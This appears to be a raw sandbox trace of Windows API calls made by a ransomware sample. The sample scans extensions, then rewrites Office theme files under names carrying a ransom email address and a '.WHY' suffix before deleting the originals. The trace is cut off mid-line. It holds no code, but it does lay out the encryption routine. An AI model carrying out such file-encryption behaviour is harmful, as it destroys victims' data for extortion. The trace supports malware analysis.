lstrlenW (lpString=".pdf") returned 4 [0276.680] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0276.680] lstrlenW (lpString=".xls") returned 4 [0276.680] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0276.680] lstrlenW (lpString=".xlsx") returned 5 [0276.680] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0276.680] lstrlenW (lpString=".ppt") returned 4 [0276.680] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0276.680] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Opulent.eftx") returned 79 [0276.680] lstrlenW (lpString=".zip") returned 4 [0276.680] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0276.681] lstrlenW (lpString=".rar") returned 4 [0276.681] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0276.681] lstrlenW (lpString=".bz2") returned 4 [0276.681] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0276.681] lstrlenW (lpString=".7z") returned 3 [0276.681] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0276.681] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Opulent.eftx") returned 79 [0276.681] lstrlenW (lpString=".dbf") returned 4 [0276.681] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0276.681] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Opulent.eftx") returned 79 [0276.681] lstrlenW (lpString=".1cd") returned 4 [0276.681] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0276.681] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Opulent.eftx") returned 79 [0276.681] lstrlenW (lpString=".jpg") returned 4 [0276.681] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0276.682] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Opulent.eftx") returned 79 [0276.682] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Opulent.eftx") returned 79 [0276.682] lstrlenW (lpString=".doc") returned 4 [0276.682] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0276.682] lstrlenW (lpString=".docx") returned 5 [0276.682] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0276.682] lstrlenW (lpString=".pdf") returned 4 [0276.682] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0276.682] lstrlenW (lpString=".xls") returned 4 [0276.682] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0276.682] lstrlenW (lpString=".xlsx") returned 5 [0276.682] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0276.682] lstrlenW (lpString=".ppt") returned 4 [0276.683] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0276.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Opulent.eftx") returned 79 [0276.683] lstrlenW (lpString=".zip") returned 4 [0276.683] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0276.683] lstrlenW (lpString=".rar") returned 4 [0276.683] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0276.683] lstrlenW (lpString=".bz2") returned 4 [0276.683] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0276.683] lstrlenW (lpString=".7z") returned 3 [0276.683] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0276.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Opulent.eftx") returned 79 [0276.683] lstrlenW (lpString=".dbf") returned 4 [0276.683] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0276.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Opulent.eftx") returned 79 [0276.684] lstrlenW (lpString=".1cd") returned 4 [0276.684] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0276.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Opulent.eftx") returned 79 [0276.684] lstrlenW (lpString=".jpg") returned 4 [0276.684] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0276.684] lstrcmpiW (lpString1=".eftx", lpString2=".WHY") returned -1 [0276.684] lstrlenW (lpString="Paper.eftx") returned 10 [0276.685] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Paper.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\paper.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15c [0276.724] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x316ff1c | out: lpFileSize=0x316ff1c*=228746) returned 1 [0276.724] CloseHandle (hObject=0x15c) returned 1 [0276.724] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Paper.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\paper.eftx")) returned 0x20 [0276.725] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Paper.eftx.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\paper.eftx.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0276.726] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Paper.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\paper.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15c [0276.726] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0276.726] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0276.726] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Paper.eftx.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\paper.eftx.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0276.727] GetLastError () returned 0x0 [0276.727] ReadFile (in: hFile=0x15c, lpBuffer=0x3d20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesRead=0x316fed4*=0x37d8a, lpOverlapped=0x0) returned 1 [0276.920] WriteFile (in: hFile=0x388, lpBuffer=0x3d20020*, nNumberOfBytesToWrite=0x37d90, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesWritten=0x316fc9c*=0x37d90, lpOverlapped=0x0) returned 1 [0276.936] ReadFile (in: hFile=0x15c, lpBuffer=0x3d20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesRead=0x316fed4*=0x0, lpOverlapped=0x0) returned 1 [0276.936] WriteFile (in: hFile=0x388, lpBuffer=0x3d20020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesWritten=0x316fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0276.936] SetEndOfFile (hFile=0x388) returned 1 [0276.936] CloseHandle (hObject=0x388) returned 1 [0277.168] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0277.168] SetEndOfFile (hFile=0x15c) returned 1 [0277.187] CloseHandle (hObject=0x15c) returned 1 [0277.192] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Paper.eftx.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x20) returned 1 [0277.192] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Paper.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\paper.eftx")) returned 1 [0277.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Paper.eftx") returned 77 [0277.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Paper.eftx") returned 77 [0277.193] lstrlenW (lpString=".doc") returned 4 [0277.194] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0277.194] lstrlenW (lpString=".docx") returned 5 [0277.194] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0277.194] lstrlenW (lpString=".pdf") returned 4 [0277.194] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0277.194] lstrlenW (lpString=".xls") returned 4 [0277.194] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0277.194] lstrlenW (lpString=".xlsx") returned 5 [0277.194] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0277.194] lstrlenW (lpString=".ppt") returned 4 [0277.194] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0277.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Paper.eftx") returned 77 [0277.194] lstrlenW (lpString=".zip") returned 4 [0277.194] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0277.195] lstrlenW (lpString=".rar") returned 4 [0277.195] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0277.195] lstrlenW (lpString=".bz2") returned 4 [0277.195] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0277.195] lstrlenW (lpString=".7z") returned 3 [0277.195] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0277.195] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Paper.eftx") returned 77 [0277.195] lstrlenW (lpString=".dbf") returned 4 [0277.195] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0277.195] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Paper.eftx") returned 77 [0277.195] lstrlenW (lpString=".1cd") returned 4 [0277.195] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0277.195] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Paper.eftx") returned 77 [0277.195] lstrlenW (lpString=".jpg") returned 4 [0277.196] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0277.196] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Paper.eftx") returned 77 [0277.196] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Paper.eftx") returned 77 [0277.196] lstrlenW (lpString=".doc") returned 4 [0277.196] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0277.196] lstrlenW (lpString=".docx") returned 5 [0277.196] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0277.196] lstrlenW (lpString=".pdf") returned 4 [0277.196] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0277.196] lstrlenW (lpString=".xls") returned 4 [0277.197] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0277.197] lstrlenW (lpString=".xlsx") returned 5 [0277.197] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0277.197] lstrlenW (lpString=".ppt") returned 4 [0277.197] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0277.197] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Paper.eftx") returned 77 [0277.197] lstrlenW (lpString=".zip") returned 4 [0277.197] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0277.197] lstrlenW (lpString=".rar") returned 4 [0277.197] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0277.197] lstrlenW (lpString=".bz2") returned 4 [0277.197] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0277.197] lstrlenW (lpString=".7z") returned 3 [0277.197] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0277.198] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Paper.eftx") returned 77 [0277.198] lstrlenW (lpString=".dbf") returned 4 [0277.198] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0277.198] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Paper.eftx") returned 77 [0277.198] lstrlenW (lpString=".1cd") returned 4 [0277.198] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0277.198] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Paper.eftx") returned 77 [0277.198] lstrlenW (lpString=".jpg") returned 4 [0277.198] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0277.199] lstrcmpiW (lpString1=".eftx", lpString2=".WHY") returned -1 [0277.199] lstrlenW (lpString="Pushpin.eftx") returned 12 [0277.199] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Pushpin.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\pushpin.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0277.376] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x316ff1c | out: lpFileSize=0x316ff1c*=782121) returned 1 [0277.376] CloseHandle (hObject=0x3a0) returned 1 [0277.376] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Pushpin.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\pushpin.eftx")) returned 0x20 [0277.570] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Pushpin.eftx.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\pushpin.eftx.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0277.730] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Pushpin.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\pushpin.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0277.731] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0277.731] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0277.731] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Pushpin.eftx.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\pushpin.eftx.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0277.732] GetLastError () returned 0x0 [0277.732] ReadFile (in: hFile=0x394, lpBuffer=0x3d20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesRead=0x316fed4*=0xbef29, lpOverlapped=0x0) returned 1 [0278.294] WriteFile (in: hFile=0x38c, lpBuffer=0x3d20020*, nNumberOfBytesToWrite=0xbef30, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesWritten=0x316fc9c*=0xbef30, lpOverlapped=0x0) returned 1 [0278.880] ReadFile (in: hFile=0x394, lpBuffer=0x3d20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesRead=0x316fed4*=0x0, lpOverlapped=0x0) returned 1 [0278.882] WriteFile (in: hFile=0x38c, lpBuffer=0x3d20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesWritten=0x316fc9c*=0xec, lpOverlapped=0x0) returned 1 [0278.883] SetEndOfFile (hFile=0x38c) returned 1 [0278.883] CloseHandle (hObject=0x38c) returned 1 [0279.115] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0279.115] SetEndOfFile (hFile=0x394) returned 1 [0280.692] CloseHandle (hObject=0x394) returned 1 [0280.693] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Pushpin.eftx.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x20) returned 1 [0280.850] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Pushpin.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\pushpin.eftx")) returned 1 [0280.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Pushpin.eftx") returned 79 [0280.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Pushpin.eftx") returned 79 [0280.851] lstrlenW (lpString=".doc") returned 4 [0280.851] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0280.851] lstrlenW (lpString=".docx") returned 5 [0280.851] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0280.852] lstrlenW (lpString=".pdf") returned 4 [0280.852] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0280.852] lstrlenW (lpString=".xls") returned 4 [0280.852] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0280.852] lstrlenW (lpString=".xlsx") returned 5 [0280.852] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0280.852] lstrlenW (lpString=".ppt") returned 4 [0280.852] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0280.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Pushpin.eftx") returned 79 [0280.852] lstrlenW (lpString=".zip") returned 4 [0280.852] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0280.852] lstrlenW (lpString=".rar") returned 4 [0280.852] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0280.853] lstrlenW (lpString=".bz2") returned 4 [0280.853] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0280.853] lstrlenW (lpString=".7z") returned 3 [0280.853] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0280.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Pushpin.eftx") returned 79 [0280.853] lstrlenW (lpString=".dbf") returned 4 [0280.854] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0280.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Pushpin.eftx") returned 79 [0280.855] lstrlenW (lpString=".1cd") returned 4 [0280.855] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0280.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Pushpin.eftx") returned 79 [0280.855] lstrlenW (lpString=".jpg") returned 4 [0280.855] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0280.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Pushpin.eftx") returned 79 [0280.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Pushpin.eftx") returned 79 [0280.856] lstrlenW (lpString=".doc") returned 4 [0280.856] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0280.856] lstrlenW (lpString=".docx") returned 5 [0280.856] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0280.857] lstrlenW (lpString=".pdf") returned 4 [0280.857] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0280.857] lstrlenW (lpString=".xls") returned 4 [0280.857] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0280.861] lstrlenW (lpString=".xlsx") returned 5 [0280.861] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0280.862] lstrlenW (lpString=".ppt") returned 4 [0280.862] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0280.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Pushpin.eftx") returned 79 [0280.862] lstrlenW (lpString=".zip") returned 4 [0280.862] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0280.862] lstrlenW (lpString=".rar") returned 4 [0280.862] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0280.862] lstrlenW (lpString=".bz2") returned 4 [0280.862] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0280.862] lstrlenW (lpString=".7z") returned 3 [0280.862] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0280.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Pushpin.eftx") returned 79 [0280.863] lstrlenW (lpString=".dbf") returned 4 [0280.863] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0280.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Pushpin.eftx") returned 79 [0280.863] lstrlenW (lpString=".1cd") returned 4 [0280.863] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0280.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Pushpin.eftx") returned 79 [0280.863] lstrlenW (lpString=".jpg") returned 4 [0280.863] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0280.865] lstrcmpiW (lpString1=".DLL", lpString2=".WHY") returned -1 [0280.865] lstrlenW (lpString="CAGCAT10.DLL") returned 12 [0280.865] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.DLL" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\cagcat10.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0280.867] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x316ff1c | out: lpFileSize=0x316ff1c*=15776) returned 1 [0280.868] CloseHandle (hObject=0x38c) returned 1 [0280.868] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.DLL" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\cagcat10.dll")) returned 0x20 [0280.868] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.DLL.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\cagcat10.dll.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0280.869] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.DLL" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\cagcat10.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0280.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.DLL") returned 61 [0280.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.DLL") returned 61 [0280.871] lstrlenW (lpString=".doc") returned 4 [0280.871] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0280.871] lstrlenW (lpString=".docx") returned 5 [0280.871] lstrcmpiW (lpString1=".docx", lpString2="0.DLL") returned -1 [0280.871] lstrlenW (lpString=".pdf") returned 4 [0280.871] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0280.871] lstrlenW (lpString=".xls") returned 4 [0280.871] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0280.871] lstrlenW (lpString=".xlsx") returned 5 [0280.872] lstrcmpiW (lpString1=".xlsx", lpString2="0.DLL") returned -1 [0280.872] lstrlenW (lpString=".ppt") returned 4 [0280.872] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0280.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.DLL") returned 61 [0280.872] lstrlenW (lpString=".zip") returned 4 [0280.872] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0280.872] lstrlenW (lpString=".rar") returned 4 [0280.872] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0280.872] lstrlenW (lpString=".bz2") returned 4 [0280.872] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0280.872] lstrlenW (lpString=".7z") returned 3 [0280.873] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0280.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.DLL") returned 61 [0280.873] lstrlenW (lpString=".dbf") returned 4 [0280.873] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0280.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.DLL") returned 61 [0280.873] lstrlenW (lpString=".1cd") returned 4 [0280.873] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0280.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.DLL") returned 61 [0280.873] lstrlenW (lpString=".jpg") returned 4 [0280.873] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0280.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.DLL") returned 61 [0280.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.DLL") returned 61 [0280.874] lstrlenW (lpString=".doc") returned 4 [0280.874] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0280.874] lstrlenW (lpString=".docx") returned 5 [0280.875] lstrcmpiW (lpString1=".docx", lpString2="0.DLL") returned -1 [0280.875] lstrlenW (lpString=".pdf") returned 4 [0280.875] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0280.875] lstrlenW (lpString=".xls") returned 4 [0280.875] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0280.875] lstrlenW (lpString=".xlsx") returned 5 [0280.875] lstrcmpiW (lpString1=".xlsx", lpString2="0.DLL") returned -1 [0280.875] lstrlenW (lpString=".ppt") returned 4 [0280.875] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0280.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.DLL") returned 61 [0280.875] lstrlenW (lpString=".zip") returned 4 [0280.876] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0280.876] lstrlenW (lpString=".rar") returned 4 [0280.876] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0280.876] lstrlenW (lpString=".bz2") returned 4 [0280.876] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0280.877] lstrlenW (lpString=".7z") returned 3 [0280.877] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0280.877] lstrlenW (lpString="C:\\Program Files\\Microsoft 